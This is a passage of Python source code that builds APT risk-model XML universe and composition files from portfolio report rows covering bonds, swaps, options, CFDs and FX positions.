'APT_Universe_42_BarrierValue' \n IS_DIGITAL = 'APT_Universe_43_IsDigital' \n DIGITAL_PAYOFF = 'APT_Universe_44_DigitalPayOff' \n DIGITAL_CASH_AMOUNT = 'APT_Universe_45_DigitalCashAmount' \n CALL_CURRENCY = 'APT_Universe_46_CallCurrency'\n PUT_CURRENCY = 'APT_Universe_47_PutCurrency'\n RECOVERY_RATE = 'APT_Universe_48_RecoveryRate'\n INS_TYPE = 'APT_Universe_49_InsType'\n UND_CURRENCY = 'APT_Universe_50_UndCurrency'\n IS_CALLABLE = 'APT_Universe_51_IsCallable'\n CALL_SCHEDULE = 'APT_Universe_52_CallSchedule'\n CALL_AMOUNT = 'APT_Universe_53_CallAmount'\n PUT_AMOUNT = 'APT_Universe_54_PutAmount'\n UND_RISK_FREE_RATE = 'APT_Universe_55_UndRiskFreeRate' \n CONVERSION_START = 'APT_Universe_56_ConversionStart'\n CONVERSION_END = 'APT_Universe_57_ConversionEnd'\n CONVERSION_PRICE = 'APT_Universe_58_ConversionPrice'\n FORCE_CONVERSION = 'APT_Universe_59_ForceConversion'\n IS_STOCK_TRIGGER = 'APT_Universe_60_IsStockTrigger'\n STOCK_TRIGGER_SCHEDULE = 'APT_Universe_64_StockTriggerSchedule'\n CURRENCY_ID_TYPE = 'APT_Universe_62_CurrencyIdType'\n UND_CLASS = 'APT_Universe_63_UnderlyingClass'\n LONG_LEG_PRINCIPAL = 'APT_Universe_66_LongLegPrincipal'\n SHORT_LEG_PRINCIPAL = 'APT_Universe_67_ShortLegPrincipal'\n LONG_LEG_CURRENCY = 'APT_Universe_68_LongLegCurrency'\n SHORT_LEG_CURRENCY = 'APT_Universe_69_ShortLegCurrency'\n SHORT_LEG_IS_FIXED = 'APT_Universe_70_ShortLegIsFixed'\n LONG_LEG_IS_FIXED = 'APT_Universe_71_LongLegIsFixed'\n FIXED_LONG_LEG_DATE = 'APT_Universe_72_FixedLongLegDate'\n FLOAT_LONG_LEG_DATE = 'APT_Universe_73_FloatLongLegDate'\n FIXED_LONG_LEG_COUPON = 'APT_Universe_74_FixedLongLegCoupon'\n FLOAT_LONG_LEG_SPREAD = 'APT_Universe_75_FloatLongLegSpread'\n FIXED_SHORT_LEG_DATE = 'APT_Universe_76_FixedShortLegDate'\n FLOAT_SHORT_LEG_DATE = 'APT_Universe_77_FloatShortLegDate'\n FIXED_SHORT_LEG_COUPON = 'APT_Universe_78_FixedShortLegCoupon'\n FLOAT_SHORT_LEG_SPREAD = 'APT_Universe_79_FloatShortLegSpread'\n CURR_SWAP_FX_RATE = 'APT_Universe_80_CurrSwapFxRate'\n ASSET_NAME = 'APT_Universe_81_AssetName'\n IS_FORWARD_START = 'APT_Universe_82_IsForwardStart'\n INSTRUMENT_START_DATE = 'APT_Universe_83_InstrumentStartDate'\n DOMESTIC_CURRENCY_ID_TYPE = 'APT_Compositions_84_DomesticCurrencyIdType'\n FOREIGN_CURRENCY_ID_TYPE = 'APT_Compositions_85_ForeignCurrencyIdType'\n CURRENCY_FORWARD_BUY_AMOUNT = 'APT_Universe_84_CurrencyForwardBuy'\n CURRENCY_FORWARD_SELL_AMOUNT = 'APT_Universe_85_CurrencyForwardSell'\n CURRENCY_FORWARD_BUY_CURRENCY = 'APT_Universe_86_CurrencyForwardBuyCurr'\n CURRENCY_FORWARD_SELL_CURRENCY = 'APT_Universe_87_CurrencyForwardSellCurr'\n BARRIER_BASE = 'APT_Universe_88_BarrierBase'\n CURR_DIGITAL_PAYOFF = 'APT_Universe_89_CurrencyDigitalPayoff'\n CURR_DIGITAL_PAYOFF_AMOUNT = 'APT_Universe_90_CurrencyDigitalPayoffAmount'\n START_CASH = 'APT_Universe_91_StartCash'\n END_CASH = 'APT_Universe_92_EndCash'\n CAP = 'APT_Universe_93_Cap'\n FLOOR = 'APT_Universe_94_Floor'\n FIRST_FLOAT_LEG_TYPE = 'APT_Universe_95_FirstFloatLegType'\n FIRST_FLOAT_LEG_DATE = 'APT_Universe_96_FirstFloatLegDate'\n FIRST_FIXED_LEG_DATE = 'APT_Universe_97_FirstFixedLegDate'\n FIRST_FIXED_LEG_DATE = 'APT_Universe_97_FirstFixedLegDate'\n PREPAYMENT = 'APT_Universe_98_PrePayment'\n CREDIT_SPREAD = 'APT_Universe_99_CreditSpread'\n\nclass AptInstrumentGroupType:\n \n FIXED_INCOME_PRODUCTS = 'fixedIncomeProducts'\n CONTRACTS_FOR_DIFFERENCE = 'contractsForDifference'\n FUTURES = 'futures'\n FORWARDS = 'forwards'\n REPOS = 'forwards'\n CREDIT_DEFAULT_SWAPS = 'creditDefaultSwaps'\n INTEREST_RATE_SWAPS = 'interestRateSwaps'\n CURRENCY_SWAPS = 'currencySwaps'\n OPTIONS = 'options'\n DERIVATIVES = 'derivatives'\n CAPS = 'caps'\n FLOORS = 'floors'\n REST = 'rest'\n \n @classmethod\n def apt_ins_group_type(cls, ins_type):\n if ins_type in ('Bond', 'Convertible', 'FRN', 'Bill', 'MBS/ABS', 'FreeDefCF'): return cls.FIXED_INCOME_PRODUCTS\n elif ins_type == 'Cap': return cls.CAPS\n elif ins_type == 'Floor': return cls.FLOORS\n elif ins_type == 'Repo/Reverse': return cls.REPOS\n elif ins_type == 'Future': return cls.FUTURES\n elif ins_type == 'Forward': return cls.FORWARDS\n elif ins_type == 'CFD': return cls.CONTRACTS_FOR_DIFFERENCE\n elif ins_type == 'CreditDefaultSwap': return cls.CREDIT_DEFAULT_SWAPS\n elif ins_type == 'Swap': return cls.INTEREST_RATE_SWAPS\n elif ins_type == 'CurrSwap': return cls.CURRENCY_SWAPS\n elif ins_type == 'Option': return cls.OPTIONS\n elif ins_type == 'Derivative': return cls.DERIVATIVES\n else: return cls.REST\n \n \nclass AptXmlWriter(object):\n \n WORKSPACE_TAG = \"workspace\"\n ASSETS_TAG = \"assets\"\n COMPOSITIONS_TAG = 'compositions'\n COMPOSITION_TAG = 'composition'\n WEIGHTS_TAG = 'weights'\n LINE_TAG = 'line'\n ENTRY_TAG = 'entry'\n CREATOR_TAG = 'APT'\n VERSION_TAG = '6.1'\n XMLNS_TAG = r'http://www.apt.com/pro'\n \n def __init__(self, report_contents, params):\n self.params = params\n self.report_name = params.report_name\n self.factor_model = re.sub(' ', '', params.factor_model)\n self.hide_zero_unit_rows = params.hide_zero_unit_rows\n self.hide_zero_price_rows = params.hide_zero_price_rows\n self.path = None\n self.report_contents = report_contents\n self.ins_rows, self.port_rows, self.group_rows = self._get_rows_by_type()\n self.root = ElementTree.Element(self.WORKSPACE_TAG, creator=self.CREATOR_TAG, version=self.VERSION_TAG, xmlns=self.XMLNS_TAG)\n self.assets_elem = None\n self._add_header()\n \n def _get_rows_by_type(self):\n ins_rows = []\n port_rows = []\n group_rows = []\n for row in self.report_contents.get_rows():\n row_class = self._get_raw_data(row, AptColumns.ROW_CLASS)\n if row_class == 'FPortfolioInstrumentAndTrades':\n port_rows.append(row)\n elif row_class == 'FSingleInstrumentAndTrades':\n ins_rows.append(row)\n else:\n group_rows.append(row)\n return ins_rows, port_rows, group_rows\n \n def _exclude_zero_unit_rows(self, row):\n ins_type = self._get_raw_data(row, AptColumns.INS_TYPE)\n if ins_type != 'Fx Rate':\n units = self._get_raw_data(row, AptColumns.ASSET_UNITS)\n if units in ('0', '0.0', '', 'NaN'):\n logger.info(\"Not valid position found for instrument %s. The instrument will not be included in the report\", row.row_label)\n return 1\n return 0\n \n def _exclude_zero_price_ins_rows(self, row):\n ins_type = self._get_raw_data(row, AptColumns.INS_TYPE)\n und_name = self._get_raw_data(row, AptColumns.UND_ID)\n if ins_type == 'Fx Rate':\n foreign_currency_price = self._get_raw_data(row, AptColumns.FOREIGN_CURRENCY_PRICE)\n domestic_currency_price = self._get_raw_data(row, AptColumns.DOMESTIC_CURRENCY_PRICE)\n if foreign_currency_price in ('', 'NaN', '0.0', 'None', '0') or domestic_currency_price in ('', 'NaN', '0.0', 'None'):\n logger.info(\"Not valid price found for instrument %s. The instrument will not be included in the report\", row.row_label)\n return 1\n \n elif und_name != 'None':\n und_price = self._get_raw_data(row, AptColumns.UND_PRICE)\n comp_price = self._get_raw_data(row, AptColumns.ASSET_PRICE)\n if comp_price in ('', 'NaN', '0.0', 'None', '0'):\n logger.info(\"Not valid price found for instrument %s. The instrument will not be included in the report\", row.row_label)\n return 1\n if und_price in ('', 'NaN', '0.0', 'None'):\n logger.info(\"Not valid price found for underlying %s. The instrument will not be included in the report\", und_name)\n return 1\n\n return 0\n\n else:\n comp_price = self._get_raw_data(row, AptColumns.ASSET_PRICE)\n univ_price = self._get_raw_data(row, AptColumns.PRICE)\n if comp_price in ('', 'NaN', '0.0', 'None', '0') or univ_price in ('', 'NaN', '0.0', 'None'):\n logger.info(\"Not valid price found for instrument %s. The instrument will not be included in the report\", row.row_label)\n return 1\n\n return 0\n \n \n def write(self, xml=None ):\n try:\n if xml == None:\n xml = self.generate_xml()\n with open(self.path, \"w\") as file:\n file.write(xml)\n return xml\n except IOError as err:\n logger.error(\"Failed to write file: %s\", str(err))\n \n \n def _add_header(self):\n self.assets_elem = ElementTree.Element(self.ASSETS_TAG)\n self.root.append(self.assets_elem)\n \n def _get_raw_data(self, row, column):\n row_data = row.raw_data.get(column)\n row_label = row.row_label\n asset_class = row.raw_data.get(AptColumns.ASSET_CLASS)\n if asset_class not in ('EQUITY', 'BOND', 'CURRENCY') and column != AptColumns.UND_ID:\n if not row_data:\n logger.error(\"Failed to read data from column: %s instrument: %s\", column, row_label)\n if row_data in ('NaN', 'None'):\n logger.debug(\"Row: %s; Column: %s has value %s\", row_label, column, row_data)\n if asset_class in ('BOND', 'CONVERTIBLE', 'FRN', 'CDS') and column == AptColumns.BORROWER_CLASS:\n logger.warn(\"Borrower Classification has value %s for instrument %s. The instrument will be missing in the report\", row_data, row_label)\n if self.hide_zero_unit_rows == 'False':\n if column in (AptColumns.ASSET_UNITS) and row_data in ('None'):\n raise RuntimeError(\"Cannot generate Apt Report. Value '%s' is not valid for type Units. Column: %s; Row: %s\" % (row_data, column, row_label))\n\n if self.hide_zero_price_rows == 'False':\n if column in (AptColumns.ASSET_PRICE, AptColumns.PRICE, AptColumns.UND_PRICE) and row_data in ('0.0', 'None'):\n raise RuntimeError(\"Cannot generate Apt Report. Value '%s' is not valid for type Price. Column: %s; Row: %s\" % (row_data, column, row_label))\n return row_data\n \n \n def generate_xml(self):\n raise NotImplementedError()\n \n \nclass CompositionFileWriter(AptXmlWriter): \n\n COMPOSITIONS_TAG = 'compositions'\n COMPOSITION_TAG = 'composition'\n SCHEMA_TAG = 'schema'\n USER_ATTRIBUTE_TAG = 'userAttribute'\n UNITS_PRICES_TAG = 'unitsPrices'\n WEIGHTS_TAG = 'weights'\n LINE_TAG = 'line'\n JOB_TAG = 'job'\n PATH = 'assets/compositions'\n\n def __init__(self, report_contents, params, instruments):\n AptXmlWriter.__init__(self, report_contents, params)\n self.portfolios = params.portfolios\n self.trade_filters = params.trade_filters\n self.groupers = params.groupers\n self.items_to_remove = [i.Name() for i in instruments]\n self.composition_struct = self._comp_struct(self.port_rows, self.ins_rows)\n self.path = params.composition_file\n self.compositions_elem = None\n self._add_group_elem()\n self._add_job_elem()\n \n def _add_group_elem(self):\n self.compositions_elem = ElementTree.Element(self.COMPOSITIONS_TAG)\n self.assets_elem.append(self.compositions_elem)\n \n def _add_job_elem(self):\n portfolio_rows = self.port_rows\n for row in portfolio_rows:\n row_id = self._get_raw_data(row, AptColumns.COMP_ID)\n row_date = self._get_raw_data(row, AptColumns.COMP_DATE)\n job_elem = ElementTree.Element(self.JOB_TAG, portfolio= row_id, report=self.report_name, date= row_date, modelName=self.factor_model)\n self.root.append(job_elem)\n \n \n def _comp_struct(self, port_rows, ins_rows):\n comp_struct = {}\n for port_row in port_rows:\n port_id = port_row.row_id\n port_label = port_row.row_label\n if port_label not in self.items_to_remove:\n for ins_row in ins_rows:\n if ins_row.parent_row_id == port_id:\n ins_type = self._get_raw_data(ins_row, AptColumns.INS_TYPE)\n if port_label not in comp_struct:\n comp_struct[port_label] = [ins_type]\n else:\n comp_struct[port_label].append(ins_type)\n return comp_struct\n \n def _remove_empty_subcomposition_elems_from_compositions(self, root):\n compositions_elem = root.find(self.PATH)\n subcompositions_to_remove = []\n for composition_elem in compositions_elem.findall(self.COMPOSITION_TAG):\n unitPrices_elem = composition_elem.find(self.UNITS_PRICES_TAG)\n if not unitPrices_elem.findall(self.LINE_TAG):\n subcompositions_to_remove.append(composition_elem.get('id'))\n compositions_elem.remove(composition_elem)\n \n for job_elem in root.findall(self.JOB_TAG):\n if job_elem.get('portfolio') in subcompositions_to_remove:\n root.remove(job_elem)\n \n def _remove_empty_composition_elems_from_compositions(self, root):\n compositions_elem = root.find(self.PATH)\n for composition_elem in compositions_elem.findall(self.COMPOSITION_TAG):\n if composition_elem.get('id') in self.items_to_remove:\n compositions_elem.remove(composition_elem)\n \n for job_elem in root.findall(self.JOB_TAG):\n if job_elem.get('portfolio') in self.items_to_remove:\n root.remove(job_elem)\n \n def generate_xml(self): \n comp_writer = None\n comp_writer = SingleElementWriter(self).write_elem()\n try:\n self._remove_empty_composition_elems_from_compositions(self.root)\n self._remove_empty_subcomposition_elems_from_compositions(self.root)\n composition_xml = ElementTree.tostring(self.root)\n logger.debug(\"Writing Compositions xml file to %s\", str(self.path))\n return composition_xml\n except TypeError as err:\n logger.info(\"Couldn't generate Compositions xml, please see log for details\")\n raise TypeError(str(err))\n\n \nclass SingleElementWriter(object):\n\n def __init__(self, writer):\n self.writer = writer\n \n def _write_fx_cash_domestic_currency_elem(self, row, units_elem):\n row_domestic_units = self.writer._get_raw_data(row, AptColumns.DOMESTIC_CURRENCY_UNITS)\n if row_domestic_units not in ('0', '0.0', '', 'NaN', 'None'):\n row_id = self.writer._get_raw_data(row, AptColumns.DOMESTIC_CURRENCY)\n row_idType = self.writer._get_raw_data(row, AptColumns.DOMESTIC_CURRENCY_ID_TYPE)\n row_price = self.writer._get_raw_data(row, AptColumns.DOMESTIC_CURRENCY_PRICE)\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_domestic_units, price=row_price)\n units_elem.append(line_elem)\n self._append_user_defined_attributes(row, line_elem)\n\n def _write_fx_cash_foreign_currency_elem(self, row, units_elem):\n row_foreign_units = self.writer._get_raw_data(row, AptColumns.FOREIGN_CURRENCY_UNITS)\n if row_foreign_units not in ('0', '0.0', '', 'NaN', 'None'):\n row_id = self.writer._get_raw_data(row, AptColumns.FOREIGN_CURRENCY)\n row_idType = self.writer._get_raw_data(row, AptColumns.FOREIGN_CURRENCY_ID_TYPE)\n row_price = self.writer._get_raw_data(row, AptColumns.FOREIGN_CURRENCY_PRICE)\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_foreign_units, price=row_price)\n units_elem.append(line_elem)\n self._append_user_defined_attributes(row, line_elem)\n\n def _write_fx_cash_base_currency_elem(self, row, units_elem):\n row_base_units = self.writer._get_raw_data(row, AptColumns.BASE_CURRENCY_UNITS)\n if row_base_units not in ('0', '0.0', '', 'NaN', 'None'):\n row_id = self.writer._get_raw_data(row, AptColumns.COMP_CURRENCY)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_price = self.writer._get_raw_data(row, AptColumns.BASE_CURRENCY_PRICE)\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_base_units, price=row_price)\n units_elem.append(line_elem)\n self._append_user_defined_attributes(row, line_elem)\n \n def _write_fx_cash_comp_elem(self, row, units_elem): \n self._write_fx_cash_domestic_currency_elem(row, units_elem)\n self._write_fx_cash_foreign_currency_elem(row, units_elem)\n self._write_fx_cash_base_currency_elem(row, units_elem)\n\n def _write_cdf_cash_comp_elem(self, row, units_elem, row_curr_values, row_payments_curr, pos):\n row_curr_weight = str(1) \n row_id = row_payments_curr[pos]\n row_idType = 'ISIN'\n row_price = row_curr_values[pos]\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_curr_weight, price=row_price)\n units_elem.append(line_elem)\n \n def _write_cdf_und_comp_elem(self, row, units_elem, row_und_values, row_payments_curr, pos):\n row_und_weight = str(1)\n row_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_price = row_und_values[pos]\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_und_weight, price=row_price)\n units_elem.append(line_elem)\n \n def _write_cdf_as_und_comp_elem(self, row, units_elem):\n row_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_units = self.writer._get_raw_data(row, AptColumns.ASSET_UNITS)\n row_price = self.writer._get_raw_data(row, AptColumns.ASSET_PRICE)\n if row_units not in ('0', '0.0', '', 'NaN', 'None'):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_units, price=row_price)\n units_elem.append(line_elem)\n \n def _write_cfd_as_synth_comp_element(self, row, units_elem):\n row_und_values = self.writer._get_raw_data(row, AptColumns.CFD_UND_VALUES).split(';')\n row_curr_values = self.writer._get_raw_data(row, AptColumns.CFD_CURR_VALUES).split(';')\n row_payments_curr = self.writer._get_raw_data(row, AptColumns.CFD_PAYMENTS_CURR).split(';')\n for i in range(len(row_und_values)):\n self._write_cdf_cash_comp_elem(row, units_elem, row_curr_values, row_payments_curr, i)\n self._write_cdf_und_comp_elem(row, units_elem, row_curr_values, row_payments_curr, i)\n\n def _write_cfd_comp_elem(self, row, units_elem):\n export_type = self.writer._get_raw_data(row, AptColumns.EXPORT_TYPE)\n if export_type == '0': #UNDERLYING\n self._write_cdf_as_und_comp_elem(row, units_elem)\n else: #SYNTHETIC\n self._write_cfd_as_synth_comp_element(row, units_elem)\n self._append_user_defined_attributes(row, line_elem)\n \n def _write_cds_comp_elem(self, row, units_elem):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_units = self.writer._get_raw_data(row, AptColumns.ASSET_UNITS)\n row_price = self.writer._get_raw_data(row, AptColumns.ASSET_PRICE)\n if row_units not in ('0', '0.0', '', 'NaN', 'None'):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_units, price=row_price)\n units_elem.append(line_elem)\n self._append_user_defined_attributes(row, line_elem)\n \n def _write_swap_comp_elem(self, row, units_elem):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_units = self.writer._get_raw_data(row, AptColumns.ASSET_UNITS)\n row_price = self.writer._get_raw_data(row, AptColumns.ASSET_PRICE)\n if row_units not in ('0', '0.0', '', 'NaN', 'None'):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_units, price=row_price)\n units_elem.append(line_elem)\n self._append_user_defined_attributes(row, line_elem)\n \n def _write_fx_option_comp_elem(self, row, units_elem, ins_type):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_units = self.writer._get_raw_data(row, AptColumns.ASSET_UNITS)\n row_price = self.writer._get_raw_data(row, AptColumns.ASSET_PRICE)\n if row_units not in ('0', '0.0', '', 'NaN', 'None'):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_units, price=row_price)\n units_elem.append(line_elem)\n self._append_user_defined_attributes(row, line_elem)\n\n def _write_single_comp_elem(self, row, units_elem):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_units = self.writer._get_raw_data(row, AptColumns.ASSET_UNITS)\n row_price = self.writer._get_raw_data(row, AptColumns.ASSET_PRICE)\n if row_units not in ('0', '0.0', '', 'NaN', 'None'):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, id=row_id, idType=row_idType, units=row_units, price=row_price)\n units_elem.append(line_elem)\n self._append_user_defined_attributes(row, line_elem)\n\n def _is_chained_grouper(self, grouper):\n return acm.FChainedGrouper == grouper.Class()\n \n def _get_user_attribute_names(self, grouper):\n if not grouper.IsKindOf('FDefaultGrouper'):\n name = str(grouper.Label()).replace(' ', '')\n return [''.join((name[0].lower(), name[1:]))]\n elif grouper.IsKindOf('FSubportfolioGrouper'):\n name = str(grouper.Label())\n return ['subportfolio']\n return []\n \n def _add_user_attribute_elem(self, schema_elem, grpr):\n user_attrs = self._get_user_attribute_names(grpr)\n for user_attr in user_attrs:\n if user_attr in ('subportfolio'):\n self.user_port_attr_list.append(user_attr)\n else: self.user_attr_list.append(user_attr)\n user_attr_elem = ElementTree.Element(self.writer.USER_ATTRIBUTE_TAG, name=user_attr)\n schema_elem.append(user_attr_elem)\n \n def _add_schema_elem(self, composition_elem):\n self.user_attr_list = []\n self.user_port_attr_list = []\n schema_elem = ElementTree.Element(self.writer.SCHEMA_TAG)\n composition_elem.append(schema_elem)\n if self.writer.groupers:\n try:\n grouper = self.writer.groupers[0]\n if not self._is_chained_grouper(grouper):\n self._add_user_attribute_elem(schema_elem, grouper)\n else:\n for grpr in grouper.Groupers():\n self._add_user_attribute_elem(schema_elem, grpr)\n except IndexError:\n pass\n \n def _append_user_attributes(self, row, line_elem):\n for index, attr in enumerate(self.user_attr_list):\n value = self.attr_list[index]\n line_elem.attrib[attr] = value\n \n def _append_user_port_attributes(self, row, line_elem):\n for index, attr in enumerate(self.user_port_attr_list):\n try:\n value = self.port_attr_list[index+1]\n line_elem.attrib[attr] = value\n except IndexError:\n continue\n\n def _append_user_defined_attributes(self, row, line_elem):\n self._append_user_attributes(row, line_elem)\n self._append_user_port_attributes(row, line_elem)\n \n def _get_row(self, row_id):\n try:\n row = [row for row in self.writer.group_rows if row.row_id == row_id][0]\n self.attr_list.insert(0, row.row_label)\n return row\n except IndexError:\n try:\n row = [row for row in self.writer.port_rows if row.row_id == row_id][0]\n self.port_attr_list.insert(0, row.row_label)\n return row\n except IndexError:\n return None\n \n def _get_top_row(self, row):\n row_id = row.parent_row_id\n if row_id:\n row = self._get_row(row_id)\n return self._get_top_row(row)\n else: return row.row_id\n\n def write_elem(self):\n for row in self.writer.port_rows:\n port_id = row.row_id\n port_label = row.row_label\n row_id = self.writer._get_raw_data(row, AptColumns.COMP_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.COMP_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.COMP_CURRENCY)\n row_date = self.writer._get_raw_data(row, AptColumns.COMP_DATE)\n composition_elem = ElementTree.Element(self.writer.COMPOSITION_TAG, id=row_id, idType=row_idType, currency=row_currency, date=row_date)\n self.writer.compositions_elem.append(composition_elem)\n self._add_schema_elem(composition_elem)\n units_elem = ElementTree.Element(self.writer.UNITS_PRICES_TAG)\n composition_elem.append(units_elem)\n for row in self.writer.ins_rows:\n self.attr_list = []\n self.port_attr_list = []\n if self._get_top_row(row) == port_id:\n if self.writer.hide_zero_price_rows == 'True':\n if self.writer._exclude_zero_price_ins_rows(row):\n continue\n ins_type = self.writer._get_raw_data(row, AptColumns.INS_TYPE)\n if ins_type == 'Fx Rate':\n self._write_fx_cash_comp_elem(row, units_elem)\n elif ins_type == 'CFD':\n self._write_cfd_comp_elem(row, units_elem)\n elif ins_type == 'CreditDefaultSwap':\n self._write_cds_comp_elem(row, units_elem)\n elif ins_type == 'Swap':\n self._write_swap_comp_elem(row, units_elem)\n elif ins_type in ('Option'):\n und_type = self.writer._get_raw_data(row, AptColumns.UND_TYPE)\n recon_id_type = self.writer._get_raw_data(row, AptColumns.RECON_ID_TYPE)\n if und_type == 'Curr':\n self._write_fx_option_comp_elem(row, units_elem, ins_type)\n else: self._write_single_comp_elem(row, units_elem)\n else: self._write_single_comp_elem(row, units_elem)\n\n def _is_elem_synthetic():\n pass\n \n\nclass UniverseFileWriter(AptXmlWriter):\n\n MARKET_DATA_TAG = 'marketData'\n USER_DEFINED_DATA_TAG = 'userDefinedData'\n CREDIT_RATINGS_TAG = 'creditRatings'\n CREDIT_RATING_TAG = 'creditRating'\n DERIVATIVES_TAG = 'derivatives'\n PREPAYMENT_TABLES_TAG = 'prepaymentTables'\n PREPAYMENT_TABLE_TAG = 'prepaymentTable'\n PRICES_TAG = 'prices'\n PRICE_TAG = 'price'\n DELTAS_TAG = 'deltas'\n DELTA_TAG = 'delta'\n YIELDS_TAG = 'yields'\n RISK_FREE_RATE_TAG = 'riskFreeRate'\n DIV_YIELD_TAG = 'divYield'\n TIME_SERIES_ASSETS_TAG = 'timeSeriesAssets'\n \n SUPPORTED_INS_TYPES = [\n 'Bond', 'Commodity', 'Stock', 'Depositary Receipt', 'Fx Rate', 'Future',\n 'Forward', 'Convertible', 'EquityIndex', 'CreditDefaultSwap', 'Bill',\n 'Swap', 'CurrSwap', 'FRN', 'Option', 'Derivative', 'Commodity Index',\n 'Curr', 'Repo/Reverse', 'Cap', 'Floor', 'MBS/ABS', 'FreeDefCF'\n ]\n \n def __init__(self, report_contents, params):\n AptXmlWriter.__init__(self, report_contents, params)\n self._add_marketData_header()\n self._add_userDefinedData_header()\n self._add_timeSeriesAssets_header()\n self.path = params.universe_file\n self.ins_map = {} #{ apt_ins_type: [ins1, ins2, ...] } \n self._init_ins_map()\n self.compositions_elem = None\n self._add_compositions_elem()\n \n def _add_compositions_elem(self):\n self.compositions_elem = ElementTree.Element(self.COMPOSITIONS_TAG)\n self.assets_elem.append(self.compositions_elem)\n \n def _add_marketData_header(self):\n for row in self.port_rows:\n row_date = self._get_raw_data(row, AptColumns.MARKET_DATA_DATE)\n self.marketData_elem = ElementTree.Element(self.MARKET_DATA_TAG, date=row_date)\n self.creditRatings_elem = ElementTree.Element(self.CREDIT_RATINGS_TAG)\n self.deltas_elem = ElementTree.Element(self.DELTAS_TAG)\n self.prices_elem = ElementTree.Element(self.PRICES_TAG)\n self.yields_elem = ElementTree.Element(self.YIELDS_TAG)\n self.marketData_elem.append(self.creditRatings_elem)\n self.marketData_elem.append(self.deltas_elem)\n self.marketData_elem.append(self.prices_elem)\n self.marketData_elem.append(self.yields_elem)\n self.root.append(self.marketData_elem)\n\n def _add_userDefinedData_header(self):\n for row in self.port_rows:\n self.userDefinedData_elem = ElementTree.Element(self.USER_DEFINED_DATA_TAG) \n self.prePaymentTables_elem = ElementTree.Element(self.PREPAYMENT_TABLES_TAG)\n self.userDefinedData_elem.append(self.prePaymentTables_elem)\n self.root.append(self.userDefinedData_elem)\n\n def _add_timeSeriesAssets_header(self):\n self.timeSeriesAssets_elem = ElementTree.Element(self.TIME_SERIES_ASSETS_TAG)\n self.assets_elem.append(self.timeSeriesAssets_elem)\n \n\n def _write_marketData_element(self, row, id=None):\n marketData_writer = MarketDataElementWriter(self, row)\n marketData_writer.write(id)\n\n\n def _write_userDefinedData_element(self, row, id=None):\n userDefined_writer = UserDefinedDataElementWriter(self, row)\n userDefined_writer.write(id)\n\n\n def _init_ins_map(self):\n ins_names = []\n for row in self.ins_rows:\n ins_name = str(row.row_label) \n ins_type = self._get_raw_data(row, AptColumns.INS_TYPE)\n apt_ins_group_type = AptInstrumentGroupType.apt_ins_group_type(ins_type)\n \n if ins_type not in self.SUPPORTED_INS_TYPES:\n continue\n ins_id_type = self._get_raw_data(row, AptColumns.COMP_ID_TYPE)\n if ins_id_type in ('ISIN', 'DATASTREAM'):\n continue\n if self.hide_zero_unit_rows == 'True':\n if self._exclude_zero_unit_rows(row):\n continue\n if self.hide_zero_price_rows == 'True':\n if self._exclude_zero_price_ins_rows(row):\n continue\n\n if not apt_ins_group_type in self.ins_map:\n self.ins_map[apt_ins_group_type] = []\n \n if not ins_name in ins_names:\n self.ins_map[apt_ins_group_type].append(row)\n ins_names.append(ins_name)\n \n \n def _remove_empty_marketData_elems_from_universe(self, root):\n for marketData_elem in root.findall(self.MARKET_DATA_TAG):\n creditRatig_elem = marketData_elem.find(self.CREDIT_RATINGS_TAG+'/'+self.CREDIT_RATING_TAG)\n delta_elem = marketData_elem.find(self.DELTAS_TAG+'/'+self.DELTA_TAG)\n price_elem = marketData_elem.find(self.PRICES_TAG+'/'+self.PRICE_TAG)\n riskFreeRate_elem = marketData_elem.find(self.YIELDS_TAG+'/'+self.RISK_FREE_RATE_TAG)\n divYield_elem = marketData_elem.find(self.YIELDS_TAG+'/'+self.DIV_YIELD_TAG)\n if (creditRatig_elem == None) and (delta_elem == None) and (price_elem == None) and (riskFreeRate_elem == None) and (divYield_elem == None):\n root.remove(marketData_elem)\n\n\n\n def generate_xml(self):\n for apt_ins_group_type, ins_rows in self.ins_map.items():\n asset_element_writer = AssetClassElementWriter.get_element_writer(self, apt_ins_group_type, ins_rows)\n if asset_element_writer:\n asset_element_writer.write_elem()\n try:\n self._remove_empty_marketData_elems_from_universe(self.root)\n universe_xml = ElementTree.tostring(self.root)\n logger.debug(\"Writing Universe xml file to %s\", str(self.path))\n return universe_xml\n except TypeError as err:\n logger.info(\"Couldn't generate universe xml, please see log for details\")\n raise TypeError(str(err))\n \n\nclass AssetClassElementWriter(object):\n\n @classmethod\n def get_element_writer(cls, writer, apt_ins_group_type, ins_rows):\n if apt_ins_group_type == AptInstrumentGroupType.FIXED_INCOME_PRODUCTS:\n return AptFixedIncomeProductsElementWriter(writer, ins_rows)\n elif apt_ins_group_type == AptInstrumentGroupType.CAPS:\n return AptCapsElementWriter(writer, ins_rows)\n elif 